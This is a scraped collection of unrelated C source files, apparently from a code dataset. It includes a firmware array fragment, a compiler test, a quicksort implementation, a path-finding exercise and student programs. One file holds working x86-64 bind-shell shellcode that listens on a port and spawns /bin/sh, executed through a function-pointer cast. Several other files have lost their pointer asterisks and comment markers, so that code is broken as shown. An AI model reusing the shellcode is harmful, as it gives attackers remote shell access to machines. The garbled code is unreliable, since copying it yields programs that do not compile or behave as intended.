0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x1234baac, }; unsigned int aui32H264_MasterMTXTOPAZFWTextReloc[] = { 0 }; unsigned char aui8H264_MasterMTXTOPAZFWTextRelocType[] = { 0 }; unsigned int aui32H264_MasterMTXTOPAZFWTextRelocFullAddr[] = { 0 }; unsigned int aui32H264_MasterMTXTOPAZFWDataReloc[] = { 0 };
the_stack_data/114953.c	#include <stdio.h> #include <string.h> unsigned char shellcode[] = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x48\x97" "\x52\x52\xc6\x04\x24\x02\x66\xc7" "\x44\x24\x02\x1b\x39\x48\x89\xe6" "\x6a\x31\x58\x6a\x10\x5a\x0f\x05" "\x6a\x32\x58\x48\x31\xf6\x0f\x05" "\x30\xd2\x6a\x2b\x58\x0f\x05\x48" "\x97\x6a\x02\x5e\x6a\x21\x58\x0f" "\x05\x48\xff\xce\x79\xf6\x48\x31" "\xf6\x48\x31\xd2\x52\x48\xbb\x2f" "\x2f\x62\x69\x6e\x2f\x73\x68\x53" "\x48\x89\xe7\x6a\x3b\x58\x0f\x05"; int main(void) { printf("[] shellcode length: %d\n", strlen(shellcode)); ((void (*)())shellcode)(); return 0; }
the_stack_data/1103348.c	/* { dg-do compile } / / { dg-require-effective-target arm_cond_exec } / / { dg-options "-O2" } / #define MAX(a, b) (a > b ? a : b) int foo (int a, int b, int c) { return c - MAX (a, b); } / { dg-final { scan-assembler-not "mov" } } */
the_stack_data/981576.c	#include <stdio.h> char map[100][101]; short path[10000][2]; short nlines; short ncols; /Linha,coluna a procurar; caracter esperado; numero de posicoes por onde passa a possibilidade de caminho; x,y ultima posicao por onde passou / short checkPath(short line, short col, char car, short count, short x, short y){ /Esta funcao retorna 0 se nao existir caminho, e retorna 1 se existir um caminho possivel ate ao fim do mapa/ /Verifica se a posicao encontra-se dentro dos limites/ if(col>=0 && col<ncols && line>=0 && line<nlines){ /Verifica se o char encontrado é = ao esperado/ if(map[line][col]==car){ /Verifica se chegamos ao fim mapa/ if(line==(nlines-1)){ /grava a posicao de passagem no vector/ path[count][0]=line+1; path[count][1]=col+1; return 1; } /verifica cada posicao conforme a barra/ else if(map[line][col]=='\\'){ if(checkPath(line+1, col, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col+1, '\|', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } /Verifica se a proxima posicao e uma posicao repetida/ if((line != x) \|\| (col+1 != y)) if(checkPath(line, col+1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if((line != x) \|\| (col-1 != y)){ if(checkPath(line, col-1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } } } else if(map[line][col]=='/'){ if(checkPath(line+1, col-1, '\|', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if ((line != x) \|\| (col+1!=y)) if(checkPath(line, col+1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if((line != x) \|\| (col-1 != y)) if(checkPath(line, col-1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } } else if(map[line][col]=='\|'){ if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col, '\|', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ path[count][0]=line+1; path[count][1]=col+1; return 1; } } /Caso o caminho nao tenha saida elimina a posicao/ map[line][col]='#'; } } return 0; } int main(){ short line=0, col=0, count=0, aux, i; /Le o numero de linhas e colunas do mapa/ while(scanf("%hd %hd", &nlines, &ncols)!=EOF){ /Le o mapa/ for(i=0; i<nlines; i++){ scanf("%s", map[i]); } /Verifica o caminho a partir das diferentes possibilidades da primeira linha / for(col=0; col<ncols;col++){ if(map[0][col]=='\\'){ if(checkPath(line+1, col, '/', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col+1, '\|', count+1, line, col)==1){ aux=1; } }else if(map[0][col]=='/'){ if(checkPath(line+1, col, '\\', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col-1, '\|', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ aux=1; } }else if(map[0][col]=='\|'){ if(checkPath(line+1, col-1, '/', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col, '\|', count+1, line, col)==1){ aux=1; }else if(checkPath(line+1, col+1, '\\', count+1, line, col)==1){ aux=1; } } /Guarda a posicao inicial do caminho/ if(aux==1){ path[0][0]=1; path[0][1]=col+1; break; } } /Imprime o resultado da procura pelo mapa*/ if(aux==0){ printf("No Path!\n"); }else{ i=1; printf("(%hd,%hd)",path[0][0], path[0][1]); while(path[i][0]!=0){ printf(",(%hd,%hd)",path[i][0], path[i][1]); path[i][0]=0; path[i][1]=0; i++; } printf("\n"); aux=0; } } return 0; }
the_stack_data/156392264.c	/* rdg: this is https://www.cs.dartmouth.edu/~doug/qsort.c * with parens added around a-(char)0 to squelch warning and added count of bytes swapped. / #if COUNTSWAPS extern unsigned long long tot_swaps; #endif / qsort -- qsort interface implemented by faster quicksort. J. L. Bentley and M. D. McIlroy, SPE 23 (1993) 1249-1265. Copyright 1993, John Wiley. / /assume sizeof(long) is a power of 2 / #define SWAPINIT(a, es) swaptype = \ ((a-(char)0) \| es) % sizeof(long) ? 2 : es > sizeof(long); #if COUNTSWAPS #define swapcode(TYPE, parmi, parmj, n) { \ tot_swaps += n;\ register TYPE pi = (TYPE ) (parmi); \ register TYPE pj = (TYPE ) (parmj); \ do { \ register TYPE t = pi; \ pi++ = pj; \ pj++ = t; \ } while ((n -= sizeof(TYPE)) > 0); \ } #else #define swapcode(TYPE, parmi, parmj, n) { \ register TYPE pi = (TYPE ) (parmi); \ register TYPE pj = (TYPE ) (parmj); \ do { \ register TYPE t = pi; \ pi++ = pj; \ pj++ = t; \ } while ((n -= sizeof(TYPE)) > 0); \ } #endif #include <stddef.h> static void swapfunc(char a, char b, size_t n, int swaptype) { if (swaptype <= 1) swapcode(long, a, b, n) else swapcode(char, a, b, n) } #if COUNTSWAPS #define swap(a, b) \ do {\ if (swaptype == 0) { \ tot_swaps += sizeof(long);\ t = (long)(a); \ (long)(a) = (long)(b); \ (long)(b) = t; \ } else \ swapfunc(a, b, es, swaptype);} while (0) #else #define swap(a, b) \ if (swaptype == 0) { \ t = (long)(a); \ (long)(a) = (long)(b); \ (long)(b) = t; \ } else \ swapfunc(a, b, es, swaptype) #endif #define PVINIT(pv, pm) \ if (swaptype != -1) { pv = a; swap(pv, pm); } \ else { pv = (char)&v; (long)pv = (long)pm; } #define vecswap(a, b, n) if (n > 0) swapfunc(a, b, n, swaptype) #define min(x, y) ((x)<=(y) ? (x) : (y)) static char med3(char a, char b, char c, int (cmp)()) { return cmp(a, b) < 0 ? (cmp(b, c) < 0 ? b : cmp(a, c) < 0 ? c : a) : (cmp(b, c) > 0 ? b : cmp(a, c) > 0 ? c : a); } void qsort(char a, size_t n, size_t es, int (cmp)()) { char pa, pb, pc, pd, pl, pm, pn, pv; int r, swaptype, swap_flag; long t, v; size_t s; /* Quit if all in order / for (pm = a + es; pm < a + n es && cmp(pm - es, pm) <= 0; pm += es) ; if (pm == a + n * es) return; SWAPINIT(a, es); swap_flag = 0; if (n < 7) { /* Insertion sort on smallest arrays / for (pm = a + es; pm < a + nes; pm += es) for (pl = pm; pl > a && cmp(pl-es, pl) > 0; pl -= es) swap(pl, pl-es); return; } pm = a + (n/2)es; / Small arrays, middle element / if (n > 7) { pl = a; pn = a + (n-1)es; if (n > 40) { /* Big arrays, pseudomedian of 9 / s = (n/8)es; pl = med3(pl, pl+s, pl+2s, cmp); pm = med3(pm-s, pm, pm+s, cmp); pn = med3(pn-2s, pn-s, pn, cmp); } pm = med3(pl, pm, pn, cmp); /* Mid-size, med of 3 / } PVINIT(pv, pm); / pv points to partition value / pa = pb = a + es; pc = pd = a + (n-1)es; for (;;) { while (pb <= pc && (r = cmp(pb, pv)) <= 0) { if (r == 0) { swap_flag = 1; swap(pa, pb); pa += es; } pb += es; } while (pb <= pc && (r = cmp(pc, pv)) >= 0) { if (r == 0) { swap_flag = 1; swap(pc, pd); pd -= es; } pc -= es; } if (pb > pc) break; swap_flag = 1; swap(pb, pc); pb += es; pc -= es; } if (swap_flag == 0) { /* Switch to Shell sort / size_t gap; for (gap = 4; gap < n; gap = 3 gap + 1) ; while (gap /= 3) { for (pm = a + gap * es; pm < a + n * es; pm += es) for (pl = pm; pl >= a + gap * es && cmp(pl - gap * es, pl) > 0; pl -= gap * es) swap(pl, pl - gap * es); } return; } pn = a + n*es; s = min(pa-a, pb-pa ); vecswap(a, pb-s, s); s = min(pd-pc, pn-pd-es); vecswap(pb, pn-s, s); if ((s = pb-pa) > es) qsort(a, s/es, es, cmp); if ((s = pd-pc) > es) qsort(pn-s, s/es, es, cmp); }
the_stack_data/212643052.c	// // main.c // Theon's Answer // // Created by MacBook on 08/04/17. // Copyright © 2017 Bruno Botelho. All rights reserved. // #include <stdio.h> int main(int argc, const char * argv[]) { // insert code here... int n,menor,index=1,atual; scanf("%d",&n); scanf("%d",&menor); for(int i=1;i<n;i++){ scanf("%d",&atual); if(menor>atual){ index=i+1; menor=atual; } } printf("%d\n",index); return 0; }
the_stack_data/59511496.c	//Classification: #default/n/DAM/USV/dA/A(v)/lc/rp+cd //Written by: Sergey Pomelov //Reviewed by: Igor Eremeev //Comment: #include <stdio.h> #include <malloc.h> int main(void) { const int size = 64; int p; int i; int a; int c; p = (int)malloc(sizesizeof(int)); if (p==NULL) { printf("alloc error"); return 1; } scanf("%d",&c); for(i=0; i<size; i++) { (p+i) = 1; if ((a=c2)==i) { free(p); printf("%d %d",a,(p+i)); return 0; } else { printf("x %d %d",a,*(p+i)); } } free(p); return 0; }
the_stack_data/150143055.c	/* gcc 01.c -o app ./app QUARTA QUESTÂO */ #include <stdio.h> char joinString( char string[], int length , char string2[], int length2, char resultString[]); int main(){ char string[40]; char string2[40]; int length = sizeof(string); int length2 = sizeof(string2); printf("Digite um texto: "); scanf("%s", string); //fgets(string,40,stdin); printf("Digite outro texto: "); scanf("%s", string2); //fgets(string2,40,stdin); //printf("%s", string); //printf(" %s", string2); char resultString[80]; joinString(string, length , string2, length2, resultString); // vai mostrar string printf("\n"); printf("concatenado \n"); for(int i=0;i<80; i++){ printf("%c", resultString[i]); } printf("\n"); return 0; } char joinString( char string[], int length , char string2[], int length2, char resultString[]){ for(int i = 0; i < length; i++){ resultString[i] = string[i]; //printf("%c", resultString[i]); } for(int j = 0; j < length2; j++){ resultString[length + j] = string2[j]; //printf("%c", resultString[i]); } }
the_stack_data/116400.c	// // Prog 7.6 Function to ginf GCD and return results // #include <stdio.h> float absoluteValue(float x) { if (x < 0) x = -x; return x; } int main (void) { float f1 = -15.5, f2 = 20.0, f3 = -5.0; int i1 = -716; float result; result = absoluteValue(f1); printf("f1 = %.2f\n", f1); printf("result = %.2f\n", result); result = absoluteValue(f2) + absoluteValue(f3); printf("result = %.2f\n", result); result = absoluteValue( (float) i1 ); printf("result = %.2f\n", result); result = absoluteValue( i1 ); printf("result = %.2f\n", result); result = absoluteValue( i1 ); printf("result = %.2f\n", absoluteValue(-6.0) / 4); }
the_stack_data/131346.c	#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> int main(){ char frase[51], letra; int i, j, danca; while(fgets(frase, 51, stdin) != NULL){ danca = 0; j = 0; for(i = 0; i < strlen(frase); i++){ letra = frase[i]; if(letra == '\n'){ break; } if(letra == ' '){ printf(" "); j++; } else if(j%2 == 0){ //par - maisculo if(letra >= 'a' && letra <= 'z'){ printf("%c", letra - 32); } else{ printf("%c", letra); } } //impar - minusculo else if(letra >= 'A' && letra <= 'Z'){ printf("%c", letra + 32); } else{ printf("%c", letra); } j++; } printf("\n"); } return 0; }
